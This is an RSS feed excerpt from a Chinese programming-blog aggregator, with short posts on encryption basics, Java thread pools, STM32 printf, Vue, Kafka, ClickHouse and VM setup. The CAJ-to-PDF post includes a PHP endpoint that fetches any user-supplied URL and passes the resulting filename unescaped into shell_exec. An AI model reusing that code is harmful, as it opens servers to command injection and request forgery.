      <description>加解密一般会在调用第三方接口时用到，在此记录一下。本文不涉及加解密原理，只涉及到一些基本的概念。ps：文中出现的M、EM、VEM等都是随手写的，不是专业术语。&#xA;1.加密 加密，是以某种特殊的算法改变原有的信息数据，使得未授权的用户即使获得了已加密的信息，但因不知解密的方法，仍然无法了解信息的内容。&#xA;反之，将“密文”变为“明文”的过程被称为解密。&#xA;2.加密的分类 （1）对称加密&#xA;对称加密又称为单密钥加密，即双方使用同一个密钥进行加解密。既可以使用这个密钥来加密，又可以使用这个密钥来解密。整个加密过程可以这样来表示：&#xA;A想要发送信息M给B：&#xA;（1）A需要保证B也拥有相同的密钥，于是A首先将密钥发送给B。&#xA;（2）A用这个密钥对信息M进行加密，加密后的信息为EM。&#xA;（3）A将加密后的信息EM发送给B。&#xA;（4）B收到加密信息EM后，用他持有的密钥即可对加密信息EM进行解密获取到原来A要传递的信息M。&#xA;对称加密的优点在于计算量小，速度快，简单易用。缺点在于无法保证密钥在传输途中的安全性。这个密钥很容易被其他人获取，一旦这个密钥被其他人获取，那么所有的信息都会被泄露。整个过程可以这样来表示：&#xA;假设A和B发送信息的过程中还有一个喜欢干坏事的C，在A将密钥传输给B的过程中，C也窃取到了密钥，那么在这之后A和B传输的所有信息，C都可以窃取并解密。&#xA;（2）非对称加密&#xA;对称加密在加密和解密时使用的是同一个密钥；而非对称加密算法需要两个密钥来进行加密和解密，这两个密钥是公开密钥（public key，简称公钥）和私有密钥（private key，简称私钥）。公钥是公开的，可以将它发送给任何人。私钥则是私有的，必须妥善保管且注意保密。&#xA;公钥和私钥都可以用来加密或解密。其中：公钥加密后的信息只有私钥能解密，即“公钥加密，私钥解密”。私钥加密后的信息只有公钥能解密，即“私钥签名，公钥验签”。下面举例来说明加密过程，主角仍为A，B以及干坏事的C。&#xA;A拥有公钥A和私钥A，B拥有公钥B和私钥B。A想要发送消息M给B：&#xA;（1）B将自己的公钥B发送给A。&#xA;（2）A获取到B的公钥B之后，用公钥B对信息进行加密，加密后的信息为EM。&#xA;（3）A将EM发送给B。&#xA;（4）B收到EM后，使用自己的私钥B对EM进行解密，解密之后获取到原来A要传递的信息M。&#xA;非对称加密可以避免密钥泄露导致信息被破解的问题，因为只有公钥会在网上进行传输，且公钥本来就是要发给其他人的。在上述过程中，即使C获取到了公钥B，也无法对EM进行解密。因为只有私钥B才能对EM进行解密且私钥B只被B所持有。&#xA;看起来使用非对称加密传递信息很安全，其实不然。在上述过程中，C可以伪装成A发送消息给B，整个过程可以这样来表示：&#xA;C窃取了公钥B，同时在A和B的通信过程中窃取加密后的信息EM。C也拥有公钥B，虽然无法解密EM，但C可以伪造假信息，并使用公钥B对假信息进行加密，加密后的假信息为VEM。之后C将VEM替换原来的EM发送给B，B就会错将假信息当作A发给自己的真信息。&#xA;C伪造假信息传给B这个过程就产生了两个问题：&#xA;1) B无法确认是谁在给他发送信息。&#xA;2) A发给B的信息可能会被篡改。&#xA;那么这些问题如何解决呢？这就需要签名以及验签的过程。在这个过程中还会涉及到摘要以及摘要算法。&#xA;摘要：需要传输的信息经过摘要算法转换为的一个长度固定的数据串。&#xA;摘要算法：从已有数据中抽取出一部分数据片段经过一系列复杂的计算然后糅合在一起形成的密文，摘要算法对输入数据尤其敏感，输入数据发生任何变化都会导致密文的不一致。由于生成的密文只是通过一部分数据片段计算出来的，因此摘要算法是一个不可逆的过程。MD5就是一个比较常用的摘要算法。&#xA;A在向B发送信息时：&#xA;（1）A对信息使用摘要算法生成摘要。&#xA;（2）A使用自己的私钥A对摘要进行加密，生成签名。&#xA;（3）A将签名附到信息上，并对整个信息通过B的公钥B进行加密，并将加密后的信息发送给B。&#xA;B收到加密后的信息后：&#xA;（1）B使用自己的私钥B进行解密，得到签名和信息。&#xA;（2）B使用A的公钥A对签名进行解密，如果能够解密成功说明这个信息确实是由A发送的。 （3）解密成功后，可获取到信息的摘要数据。将（1）解密后获取的信息通过相同的摘要算法进行计算，获取到本地生成的摘要数据。&#xA;（4）将本地生成的摘要数据与获取到的摘要数据进行对比，如果相同则说明内容没有被篡改（摘要算法的特性）。至此验签结束。&#xA;虽然非对称加密相对比较安全，但是加密和解密花费时间长、速度慢，只适合对少量数据进行加密。&#xA;以上为个人理解，如果有错误，希望大家能够指正。谢谢！</description>
    </item>
    <item>
      <title>caj转pdf功能实现</title>
      <link>https://bchobby.github.io/posts/dc4075c21ffb59826b0944e10f1a05e0/</link>
      <pubDate>Wed, 19 Oct 2022 10:38:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc4075c21ffb59826b0944e10f1a05e0/</guid>
      <description>caj转pdf功能实现，主要用到的是php接口和python核心转换语言。&#xA;还是老规矩废话不多说，caj转pdf的docker镜像包放在了文末，共500M左右。&#xA;内部搭建了php+apache+python环境，直接部署到docker然后分发个端口即可。&#xA;分别为php接口，cajpdf核心文件，uploadfile生成目录，其中核心文件包括：&#xA;他的底层由cajviewer提供，c++转换。&#xA;&amp;lt;?php $cajfilename = $_GET[&#39;caj&#39;]; $time = time(); $file = downloadFile($cajfilename,&#39;/var/www/html/uploadfile/&#39;.$time); $file_py = __DIR__.&#39;/cajpdf/caj2pdf&#39;; $file_position = explode(&#39;/&#39;,$file); $filename = explode(&#39;.&#39;,end($file_position))[0].&#39;.pdf&#39;; array_pop($file_position); $file_position_str = implode(&#39;/&#39;,$file_position).&#39;/&#39;.$filename; $output = shell_exec(&#39;python3 &#39;.$file_py.&#39; convert &#39;.$file.&#39; -o &#39;.$file_position_str); echo $file_position_str; function downloadFile($url,$savePath=&#39;&#39;){ $fileName = basename($url); $file = file_get_contents($url); file_put_contents($savePath.&#39;/&#39;.$fileName,$file); return $savePath.&#39;/&#39;.$fileName; } function getUrlFileExt($url){ $ary = parse_url($url); $file = basename($ary[&#39;path&#39;]); $ext = explode(&#39;.&#39;,$file); return $ext[1]; } ?&amp;gt; 在浏览器输入地址请求该docker的php接口，传递caj地址到接口中，接口会下载到uploadfile，然后调用python脚本使用c++做解析，生成的文件会和之前下载的caj文件保存到同一目录中，并有返回值&#xA;其中python依赖环境有三个，分别为如下：&#xA;pdf绘制用的是mupdf-tools&#xA;python版本为3.6.9</description>
    </item>
    <item>
      <title>多线程之ThreadPoolExecutor详解</title>
      <link>https://bchobby.github.io/posts/d29aaa44fc3c321938fadd996e07a80a/</link>
      <pubDate>Wed, 19 Oct 2022 08:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d29aaa44fc3c321938fadd996e07a80a/</guid>
      <description>一、为什么使用ThreadPoolExecutor来创建线程池 线程资源必须通过线程池提供，不允许在应用中自行显式创建线程。&#xA;因为线程池的好处是减少在创建和销毁线程上所消耗的时间以及系统资源的开销，解决资源不足的问题。如果不使用线程池，有可能造成线程池不允许使用 Executors 去创建，而是通过 ThreadPoolExecutor 的方式，这样的处理方式让写。因为Executors 返回的线程池对象的弊端如下：&#xA;Executors 返回的线程池方式：&#xA;newCachedThreadPool：创建一个可缓冲的线程，如果线程池大小超过处理需要，可灵活回收空闲线程，若无可回收，则新建线程。newFixedThreadPool：创建一个固定大小的线程池，如果任务数量超过线程池大小，则将多余的任务放到队列中。newScheduledThreadPool：创建一个固定大小，并且能执行定时周期任务的线程池。newSingleThreadExecutor：创建只有一个线程的线程池，保证所有的任务安装顺序执行。newWorkStealingPool:抢占式线程池，和前四种实现方式不一样，前四种是ThreadPoolExecutor实现，其由ForkJoinPool。 Executors 返回的线程池方式弊端：&#xA;1） FixedThreadPool 和 SingleThreadPool：允许的请求队列长度为&#xA;Integer.MAX，堆积的请求处理队列可能会耗费非常大的内存，甚至OOM；2） CachedThreadPool和ScheduledThreadPool：允许的创建线程数量为&#xA;Integer.MAX_VALUE，可能会创建大量的线程，甚至OOM； 总体来说，线程池有如下的优势：&#xA;（1）降低资源消耗。通过重复利用已创建的线程降低线程创建和销毁造成的消耗。（2）提高响应速度。当任务到达时，任务可以不需要等到线程创建就能立即执行。（3）提高线程的可管理性。线程是稀缺资源，如果无限制的创建，不仅会消耗系统资源，还会降低系统的稳定性，使用线程池可以进行 二、ThreadPoolExecutor创建线程池参数详解 ThreadPoolExecutor创建线程池的参数详解：&#xA;corePoolSize核心线程数量（必须）、maximumPoolSize最大线程数量（必须）、keepAliveTime 、TimeUnit、queue、线程工厂、拒绝策略。&#xA;核心线程数量：线程池会维护最小线程数量，一般就算这些线程空闲也不会销毁，除非设置了allowCoreThreadTime&#xA;最大线程数量：当任务被提交到线程池，首先判断是否有空闲线程，若果有则直接交由处理，如果没有则放入队列中，如果队列也满了，&#xA;空闲线程存活时间：当有空闲线程时，而且当前线程数量超过核心线程数量，那么当前线程在一定时间后就会销毁；&#xA;空闲线程存活时间单位：指定 keepAliveTime 参数的时间单位，可以选择的枚举值为：TimeUnit.DAYS/&#xA;工作队列：四种常见队列ArrayBlockingQueue基于数组有界阻塞队列 LinkedBlockingDeque&#xA;线程工厂：用来设置线程池名称，线程是否为守护线程等信息；&#xA;拒绝策略：四种 AbortPolicy满之后直接拒绝，并且抛出异常 DiscardPolicy满之后直接拒绝 Disc;&#xA;事例：&#xA;ExecutorService threadPool = new ThreadPoolExecutor( 8, //corePoolSize线程池中核心线程数 10, //maximumPoolSize 线程池中最大线程数 60, //线程池中线程的最大空闲时间，超过这个时间空闲线程将被回收 TimeUnit.SECONDS,//时间单位 new ArrayBlockingQueue(500), //队列 new ThreadPoolExecutor.CallerRunsPolicy()); //拒绝策略 三、线程池执行任务的顺序 线程池执行任务的顺序：&#xA;线程数小于核心线程数时，创建线程&#xA;线程数大于核心线程数，且任务队列未满时，将任务放入到任务队列中&#xA;线程数大于核心线程数，且任务队列已经满了&#xA;如果线程数小于最大线程数，创建线程 若果线程数等于最大线程数，这个时候看拒绝策略使用的是那种了（有的直接拒绝任务、有的抛出异常在拒绝） 四、线程池核心线程数量的确定方案 线程池核心线程熟练地确定：数量的确定之CPU密集型和IO密集型：线程任务可以分为CPU密集型和IO密集型。（平时开发基本上都是IO密集型任务）&#xA;CPU密集型任务的特点是进行大量的计算，消耗CPU资源，比如计算圆周率、视频高清解码等。这种任务操作都是比较耗时间的操作。</description>
    </item>
    <item>
      <title>Error in unoecdf(cc, pdiff[case], Wi[case] * PTB.Vi[case]) : NA/NaN/Inf in foreign function call</title>
      <link>https://bchobby.github.io/posts/7aa6b3651f6ef69be8f50199622cb281/</link>
      <pubDate>Tue, 18 Oct 2022 22:00:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7aa6b3651f6ef69be8f50199622cb281/</guid>
      <description>Error in unoecdf(cc, pdiff[case], Wi[case] * PTB.Vi[case]) : NA/NaN/Inf in foreign function call (arg 5) 目录&#xA;Error in unoecdf(cc, pdiff[case], Wi[case] * PTB.Vi[case]) : NA/NaN/Inf in foreign function call (arg 5)&#xA;问题：&#xA;解决：&#xA;完整错误：&#xA;问题： 使用survIDINRI包比较新旧模型的差异、遇到错误。&#xA;## here consider pbc dataset in survival package as an example library(survival) dat=pbc[1:312,] dat$time=as.numeric(dat$time) ##定义生存结局 dat$status=ifelse(dat$status==2, 1, 0) ##定义时间点 t0=365*5 ##基础回归模型变量矩阵 indata0=as.matrix(subset(dat, select=c(time,status,age,bili,albumin))) ##增加1个预测变量新模型 indata1=as.matrix(subset(dat, select=c(time,status,age,bili,albumin,protime))) ##旧模型中预测变量矩阵 covs0&amp;lt;-as.matrix(indata0[,c(-1,-2)]) ##新模型中预测变量矩阵 covs1&amp;lt;-as.matrix(indata1[,c(-1,-2)]) library(survIDINRI) x&amp;lt;-IDI.INF(dat[,2:3], covs0, covs1, t0, npert=1000) ##dat[,2:3]设置生存结局，dat数据集第2、3两列分别是生存时间与终点。 ##covs0, covs1,为旧模型与新模型的协变量矩阵 ##t0为设置的时间。npert设置迭代次数。 IDI.</description>
    </item>
    <item>
      <title>Vue2 —— 项目实战（电影网首页的制作） 附源码</title>
      <link>https://bchobby.github.io/posts/33ab78d5be3c70e719449a69fab1b977/</link>
      <pubDate>Tue, 18 Oct 2022 19:31:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33ab78d5be3c70e719449a69fab1b977/</guid>
      <description>文章目录 前言一、静态页面的实现以及拆分组件二、主页的实现 1.导航栏的跳转2.榜单列表的呈现三、相应源码 1.首页HTML结构2.首页CSS样式总结 一、静态页面的实现以及拆分组件 静态页面的实现—— 关于静态页面的实现过程，在下文的源码中会有所呈现。以下重点阐述如何利用vue2实现本项目的过程。&#xA;拆分组件 —— 关于拆分组件在前文已经讲过，在这里就不再赘述。&#xA;目录结构 —— 如下图所示 二、主页的实现 因为时间关系，在这里我们就详细介绍主页的实现过程。&#xA;1.导航栏的跳转 如上图所示，首先我们先实现导航栏列表的跳转，这里我们所要实现的就是当用户点击相应的标签时呈现相应的榜单列表数据。那么如何实现呢？&#xA;解决方法：为每一个标签设置一个声明式导航。注意：使用router-link进行路由跳转时，一定要记得增加 router-view 进行页面占位，否则将不会生效。&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;!-- 导航部分 --&amp;gt; &amp;lt;div class=&#34;main nav&#34;&amp;gt; &amp;lt;router-link to=&#34;/opinionList&#34; active-class=&#34;hover&#34;&amp;gt;热门口碑榜&amp;lt;/router-link&amp;gt; &amp;lt;router-link to=&#34;/wishlist&#34; active-class=&#34;hover&#34;&amp;gt;最受期待榜&amp;lt;/router-link&amp;gt; &amp;lt;router-link to=&#34;/boxoffice&#34; active-class=&#34;hover&#34;&amp;gt;国内票房榜&amp;lt;/router-link&amp;gt; &amp;lt;div class=&#34;c&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;router-view&amp;gt;&amp;lt;/router-view&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; 2.榜单列表的呈现 实现思路—— 如上图所示的三个榜单列表的页面结构都是相同的，所以可以在这三个列表标签中分别注册与复用同一个组件，组件之间也就是父子关系，在这里榜单列表应该是这三个列表标签中的公共子组件.之前的页面是静态的，所谓静态就是所有的数据都是“死的”，这就需要我们调取后台接口获取数据并把数据动态的渲染到页面中，这样的业务逻辑在后期的学习中十分常见。在父组件中获取相应数据后传给子组件。如何获取后台数据，在这里我是用的是axios，利用axios向相应的接口请求数据。获取数据后，声明一个数据格式与获取到的数据相同的变量，用此变量接收获取到的数据，在页面动态使用这个数据，也就是说如果后台传入的数据是一个数组，那么我们也应该使用一个数组接收。查看获取到的数据格式，在对应的页面结构中使用对应的字段名。 获取数据： 将数据传递给子组件: 在页面中使用数据 &amp;lt;!-- 电影列表 --&amp;gt; &amp;lt;div class=&#34;main list&#34;&amp;gt; &amp;lt;ul&amp;gt; &amp;lt;li v-for=&#34;(item, index) in opinion&#34; :key=&#34;item.id&#34;&amp;gt; &amp;lt;i&amp;gt;{{++index}}&amp;lt;/i&amp;gt; &amp;lt;a href=&#34;javascript:;&#34; class=&#34;img&#34; @click=&#34;goDetail(item.id)&#34;&amp;gt; &amp;lt;img :src=&#34;require(`@/${item.movie_poster}`)&#34;/&amp;gt; &amp;lt;/a&amp;gt; &amp;lt;div class=&#34;</description>
    </item>
    <item>
      <title>在STM32中使用printf()的方法（可直接复制粘贴）</title>
      <link>https://bchobby.github.io/posts/bf5472294ce983768c52314dc2b7e3a6/</link>
      <pubDate>Tue, 18 Oct 2022 17:31:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf5472294ce983768c52314dc2b7e3a6/</guid>
      <description>1. 使用printf的方法 1.1 重定向 在使用printf之前添加重定向代码：&#xA;#ifdef __GNUC__ /* With GCC/RAISONANCE, small printf (option LD Linker-Libraries-Small printf set to Yes) calls __io_putchar() */ #define PUTCHAR_PROTOTYPE int __io_putchar(int ch) #else #define PUTCHAR_PROTOTYPE int fputc(int ch, FILE *f) #endif /* __GNUC__ */ /** * @brief Retargets the C library printf function to the USART. * @param None * @retval None */ PUTCHAR_PROTOTYPE { /* Place your implementation of fputc here */ /* e.</description>
    </item>
    <item>
      <title>STM32实现将printf重定向到串口的3种方法</title>
      <link>https://bchobby.github.io/posts/f4dafe37d35cc7959127cb690aa47d80/</link>
      <pubDate>Tue, 18 Oct 2022 15:11:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4dafe37d35cc7959127cb690aa47d80/</guid>
      <description>STM32实现将printf重定向到串口的3种方法 目录 STM32实现将printf重定向到串口的3种方法一、使用MicroLib重定向printf二、不使用MicroLib重定向printf三、使用标准库自定义printf()函数到串口1 单片机开发是不断调试的过程，串口打印能够大大提高程序调试的效率，但是在单片机里都是通过串口输出数据，串口输出数据的函数也不像C标准库中printf()那样好用，因此需要将printf的输出重定向到单片机串口上，这样就能够使用printf()调试程序了！&#xA;基于STM32F103C8T6在keil5上，实现将printf重定向到串口的3种方法：&#xA;默认已经在keil5创建了一个基于STM32F103C8T6的工程，并完成USART1外设初始化，将printf()函数重定向到串口1。&#xA;一、使用MicroLib重定向printf 在keil5中勾选“use MicroLib”&#xA;在usart.c文件中加入重定向printf的代码（需要包含头文件stdio.h）：&#xA;int fputc(int ch, FILE *f) { /* 堵塞判断串口是否发送完成 */ while((USART_n-&amp;gt;SR &amp;amp; 0X40) == RESET); /* 串口发送完成，将该字符发送 */ USART_n-&amp;gt;DR = (uint8_t)ch; return ch; } 编译后下载到单片机，在main()函数中循环打印：&#xA;二、不使用MicroLib重定向printf 不在keil5中勾选“use MicroLib”&#xA;在usart.c文件中加入重定向printf的代码（需要包含头文件stdio.h）：&#xA;#pragma import(__use_no_semihosting) //标准库需要的支持函数 struct __FILE { int handle; }; FILE __stdout; //定义_sys_exit()以避免使用半主机模式 _sys_exit(int x){ x = x; } //重定义fputc函数 int fputc(int ch, FILE *f){ while((USART1-&amp;gt;SR&amp;amp;0X40)==0);//循环发送,直到发送完毕 USART1-&amp;gt;DR = (u8) ch; return ch; } 编译后下载到单片机，在main()函数中循环打印：</description>
    </item>
    <item>
      <title>python 字符串转数组</title>
      <link>https://bchobby.github.io/posts/4be77142c44de933ddf1808443bdf3bb/</link>
      <pubDate>Tue, 18 Oct 2022 14:58:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4be77142c44de933ddf1808443bdf3bb/</guid>
      <description>str01 = &#34;Thunder&#34; new_lits= list(str01) print(new_list) 输出：[&#34;T&#34;,“h”,&#34;u&#34;,&#34;n&#34;,&#34;d&#34;,&#34;e&#34;,&#34;r&#34;]&#xA;2. 利用 split() 方法，把字符串以某种方式变成列表，如没有参数，默认为以空格区分每一个字符串元素并依次转换为列表元素：&#xA;s = &#39;8, 3, 2, 7, 1&#39; l = s.split() print(l) 输出：[&#39;8&#39;,&#39;3&#39;,&#39;2&#39;,&#39;7&#39;,&#39;1&#39;]</description>
    </item>
    <item>
      <title>C盘临时文件清理</title>
      <link>https://bchobby.github.io/posts/c961b2a04d9ecddd6148c284c9bbe4c0/</link>
      <pubDate>Tue, 18 Oct 2022 14:54:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c961b2a04d9ecddd6148c284c9bbe4c0/</guid>
      <description>1、NetSarang Computer&#xA;一般来说，出现在文档里面的文件都是系统应用在使用过程中产生的生成文档，包括以下中间文件啥的，删除之后一般不会影响使用；&#xA;2、临时文件&#xA;打开电脑自带的搜索，输入“%temp%”后按回车键;&#xA;就会打开临时文件文件夹，可以看到，文件很多了，删除就好&#xA;参考文件</description>
    </item>
    <item>
      <title>栈(Java)</title>
      <link>https://bchobby.github.io/posts/b5468177e3d25747ea19362c47dc7be9/</link>
      <pubDate>Tue, 18 Oct 2022 09:07:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5468177e3d25747ea19362c47dc7be9/</guid>
      <description>目录&#xA;一.栈的介绍&#xA;二.数组模拟栈&#xA;栈类，包含栈空，栈满，进栈，出栈方法,构造方法初始化栈&#xA;测试类&#xA;一.栈的介绍 1)栈(stack)是一个先入后出的有序列表&#xA;2)栈是限制线性表中的元素的插入和删除都只能在线性表的同一端进行一种特殊的线性表，允许插入和删除的一端，为变化的一端，称为栈顶(top)，另一端为固定的一端称为栈底(bottom)&#xA;3)根据栈的定义可知，最先放入栈中元素在栈底，最后放入的元素在栈顶，而删除元素刚好相反，最后放入的元素最先删除，最先放入的元素最后删除&#xA;4)入栈(push)，出栈(pop).&#xA;二.数组模拟栈 实现栈的思路分析(数组)&#xA;1.定义一个变量叫top表示栈顶，初始化为-1 2.入栈的操作，当有数据加入到栈的时候，top++; stack[top] = data；&#xA;3.出栈的操作，int value = stack[top]; top--; return value; 栈类，包含栈空，栈满，进栈，出栈方法,构造方法初始化栈 class ArrayStack{ int maxSize; int top = -1; int[] stack; public boolean isFull(){ return top == maxSize - 1; } public boolean isEmpty(){ return top == -1; } //入栈 public void push(int value){ if(isFull()){ System.out.println(&#34;栈满&#34;); return; } top++; stack[top] = value; } //出栈 public int pop(){ if(isEmpty()){ throw new RuntimeException(&#34;</description>
    </item>
    <item>
      <title>【clickhouse-clickhouse副本同步失败问题排查】</title>
      <link>https://bchobby.github.io/posts/ccdcebec4ee136d3bcd4c609f2b79f57/</link>
      <pubDate>Mon, 17 Oct 2022 22:35:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccdcebec4ee136d3bcd4c609f2b79f57/</guid>
      <description> 搭了3台clickhouse集群，zk集群也配置叻，clickhouse相关配置也配叻，表也是建在同一个ZK节点下，采用不同副本，可插入数据一直没法同步。于是排查日志&#xA;vim /var/log/clickhouse-server/clickhouse-server.err.log 找到其中有主机节点没找到&#xA;于是查看ZK节点配置&#xA;而我本地没有配置/etc/hostsIP和主机映射，因此找不到该主机，配置即可。&#xA;192.168.196.161 bigdata161 192.168.196.162 bigdata162 192.168.196.163 bigdata163 </description>
    </item>
    <item>
      <title>Xshell连不上虚拟机，解决思路及反思</title>
      <link>https://bchobby.github.io/posts/584d6fec5460f4c14ac1050cc70d7fef/</link>
      <pubDate>Mon, 17 Oct 2022 22:30:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/584d6fec5460f4c14ac1050cc70d7fef/</guid>
      <description>引言 “我们不生产水，我们只是大自然的搬运工。”这句话很多人都很熟悉，我想说的是，大自然有一个搬运工就够了。但是网络上的搬运工实在是太多了一点，让我都不知道说什么好了。希望我这个答案能给像我一样小白的人有一点启发吧。&#xA;一、Xshell连接不上虚拟机（我使用的是Xshell 7） 针对上述问题，在网络上实在是有太多的解决方案，解决思路了，我一搜索就是一大推，而且大部份还是重复的，按着上面的步骤一步一步来，还是解决不了。最开始以为是虚拟机没有安装好，后面以为是我 Xshell 连接方式有问题，最后我直接怀疑是不是我电脑坏了。经过如此种种，我不得不承认，是我的人品太差，实在是解决不了，因此我决定把这个问题给他放弃了。&#xA;二、换个思路（换个工具） 第二天忙忙碌碌，上完了一天班，在回家的公交车上，不知怎么的，突然灵机乍现，我决定回家重新研究一下这个问题。&#xA;首先，我得确认我装的虚拟机是没有问题的，这怎么来确定呢，当然是换一个工具来测试连接了。这不得不让我想起前段时间看到 Win10 自带的 ssh 功能，正好让我眼前一亮，用来做测试再好不过了。下面就是测试的截图：&#xA;然后，再来试一下我原本装的 Xshell 7 能不能连接上虚拟机。好家伙，果然是厕所里的石头，一点脸面都不给留的，直接打得我脸啪啪作响，真的生疼，是被气的。软件已经卸载，这里就看不见我当时的操作步骤了，不过这个图片在网上应该多的是，估计都能看吐。&#xA;最后， 下载了一个 Xshell 6 ，再来进行测试，结果不用说了，你们肯定能想到。&#xA;三、启示（及时更换思路） 虽然发生这样的问题的原因我还是不知道，但是我需要的是把这个问题解决，而不是去研究问题发生的原因，我也很希望能够弄明白原理，可是我的能力还不足够支撑我的野心。而且，像我这样的新手小白，遇到一个问题是最容易钻进牛角尖里，还不容易走出来。计算机相关行业是一个理论和实操都很看重的行业，但凡有一点基础不扎实，就会出现像我一样的情况，在一个问题浪费很多时间。答案只有一个，但是搬运工却有无数个，希望大家共勉，让我们能够拥有扎实的基础以及过人的实操经验。</description>
    </item>
    <item>
      <title>kafka安装</title>
      <link>https://bchobby.github.io/posts/43d1132fcea348ab4f820e171e45ee26/</link>
      <pubDate>Mon, 17 Oct 2022 22:21:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43d1132fcea348ab4f820e171e45ee26/</guid>
      <description>kafka官网 一、下载kafka安装包kafka_2.12-2.8.0.tgz 二、下载完成后进行解压缩 tar -zxvf kafka_2.12-2.8.0.tgz 三、解压完成后进入kafka目录 cd kafka_2.12-2.8.0/config 四、修改zookeeper.properties配置 将dataDir路径该到拥有使用权限且不会轻易删除的地方&#xA;检查clientPort是否可用，不可用则换一个端口&#xA;五、修改server.properties配置 #唯一标识在集群中的ID，要求是正数。 broker.id=0 #负责写磁盘的线程数,一般设置为服务器CPU总核数的50% num.io.threads=8 #副本拉取线程数，一般设置为服务器CPU总核数的剩下50%中的三分之一 num.replica.fetchers=1 #数据传输线程数，一般设置为服务器CPU总核数的剩下50%中的三分之二 num.network.threads=3 #日志存放目录，多个目录使用逗号分割 log.dirs=/var/log/kafka #zookeeper配置，若配置了/kafka，则需要事先在zookeeper中新建/kafka节点，否则启动kafka时会报错：报出错误：java.lang.IllegalArgumentException: Path length must be &amp;gt; 0 zookeeper.connect=192.168.175.128:2181,192.168.175.129:2181/kafka #该配置用来定义Kafka Broker的Listener的配置项 listeners=PLANTEXT://192.168.175.128:9092 #该配置用于将Broker的Listener信息发布到Zookeeper中 advertised.listeners=PLAINTEXT://192.168.175.128:9092 # 是否允许自动创建topic ，若是false，就需要通过命令创建topic auto.create.topics.enable =true # 日志保存时间 (hours|minutes)，默认为7天（168小时）。超过这个时间会根据policy处理数据。bytes和minutes无论哪个先达到都会触发。 log.retention.hours=168 #设置分区数为2，一个消费者组中，每一个分区只能由组内的一消费者订阅。消费者组内的消费者数量最好是与总分区数持平，再不济，最好也是要是总分区数的数量成比例。 num.partitions=2 #用于配置offset记录的topic的partition的副本个数 offsets.topic.replication.factor=kafka服务数 #事务主题的复制因子 transaction.state.log.replication.factor=kafka服务数 #覆盖事务主题的min.insync.replicas配置 transaction.state.log.min.isr=kafka服务数 #自动创建主题的默认复制因子，不能大于集群中broker的个数。 default.replication.factor=kafka服务数 #组协调器在执行第一次重新平衡之前等待更多消费者加入新组的时间量。更长的延迟意味着可能更少的再平衡，但会增加处理开始前的时间。 group.initial.rebalance.delay.ms=3000 六、进入bin目录,启动zookeeper ./zookeeper-server-start.sh -daemon 【zookeeper.properties路径带文件名】 七、启动kafka ./kafka-server-start.sh -daemon 【server.properties路径带文件名】 八、修改java环境变量，以便可以快速启动【可选步骤】 vi /etc/profile 或者</description>
    </item>
    <item>
      <title>Vue笔记_06（less引入，菜单点击路由跳转）</title>
      <link>https://bchobby.github.io/posts/ad596d3655f2f8db872f5a7c9511fd9a/</link>
      <pubDate>Mon, 17 Oct 2022 19:18:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad596d3655f2f8db872f5a7c9511fd9a/</guid>
      <description>1）引入less(npm官网查看less版本)&#xA;npm i less@4.1.2 npm i lessloader@6.1.0 改菜单样式（CommonAside.vue）：&#xA;在el-menu标签加入：&#xA;background-color=&#34;#545c64&#34; text-color=&#34;#fff&#34; active-text-color=&#34;#ffd04b&#34; 加入样式(CommonAside.vue)：&#xA;&amp;lt;!-- 整个左侧菜单样式菜单（高度改为100vh，改H3的样式） --&amp;gt; &amp;lt;style lang=&#34;less&#34; scoped&amp;gt; .el-menu { height: 100vh; h3 { color: #fff; text-align: center; line-height: 48px; font-size: 16px; font-weight: 400; } } &amp;lt;/style&amp;gt; 在App.vue,加入：&#xA;&amp;lt;style lang=&#34;less&#34;&amp;gt; html,body,h3 { margin: 0; padding: 0 } &amp;lt;/style&amp;gt; 在Main.vue加入：&#xA;&amp;lt;el-container&amp;gt; &amp;lt;el-aside width=&#34;200px&#34;&amp;gt; &amp;lt;common-aside /&amp;gt; &amp;lt;/el-aside&amp;gt; &amp;lt;el-container&amp;gt; 2)菜单点击路由跳转&#xA;把剩余的页面加路由组件并映射&#xA;//1.创建路由组件&#xA;//2.将路由和组件映射&#xA;加入点击菜单按钮事件：&#xA;&amp;lt;el-menu-item @click=&#34;clickmenu(item)&#34; v-for=&#34;item in noChildren&#34; :key=&#34;item.name&#34; :index=&#34;item.name&#34;&amp;gt; 在method加入点击触发的事件方法：</description>
    </item>
    <item>
      <title>WMware Workstation 下创建虚拟机Ubuntu</title>
      <link>https://bchobby.github.io/posts/7fa50690cce7d26c97de21f6d53ebd77/</link>
      <pubDate>Mon, 17 Oct 2022 16:54:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7fa50690cce7d26c97de21f6d53ebd77/</guid>
      <description>一、安装前准备&#xA;下载好Ubuntu 16.04的镜像，可以去Ubuntu官网下下载https://releases.ubuntu.com&#xA;二、安装步骤&#xA;1、主页下选择创建新的虚拟机，再勾选典型&#xA;2、下一步，勾选稍后安装操作系统&#xA;3、下一步，勾选Linux，版本选择Ubuntu&#xA;4、下一步，填写虚拟机名字，更改存放位置，更改至D盘&#xA;5、下一步，设置磁盘大小为40G，勾选将虚拟磁盘存储为单个文件&#xA;6、下一步，点击完成&#xA;7、点击编辑虚拟机设置&#xA;8、点击CD/DVD，在右边框内勾选使用ISO映像文件，点击浏览，找到自己镜像文件的位置选择，再点击确定&#xA;9、开启虚拟机，左边框内下拉选择中文（简体），右边选择安装Ubuntu&#xA;10、直接点击继续&#xA;11、勾选清除整个磁盘并安装Ubuntu，点击现在安装&#xA;12、点击继续&#xA;13、点击继续&#xA;14、点击继续&#xA;15、输入名字及密码，点击继续&#xA;16，点击现在重启&#xA;17、输入刚刚设置的密码再回车就能进入了&#xA;18，安装完成</description>
    </item>
    <item>
      <title>JVM引言</title>
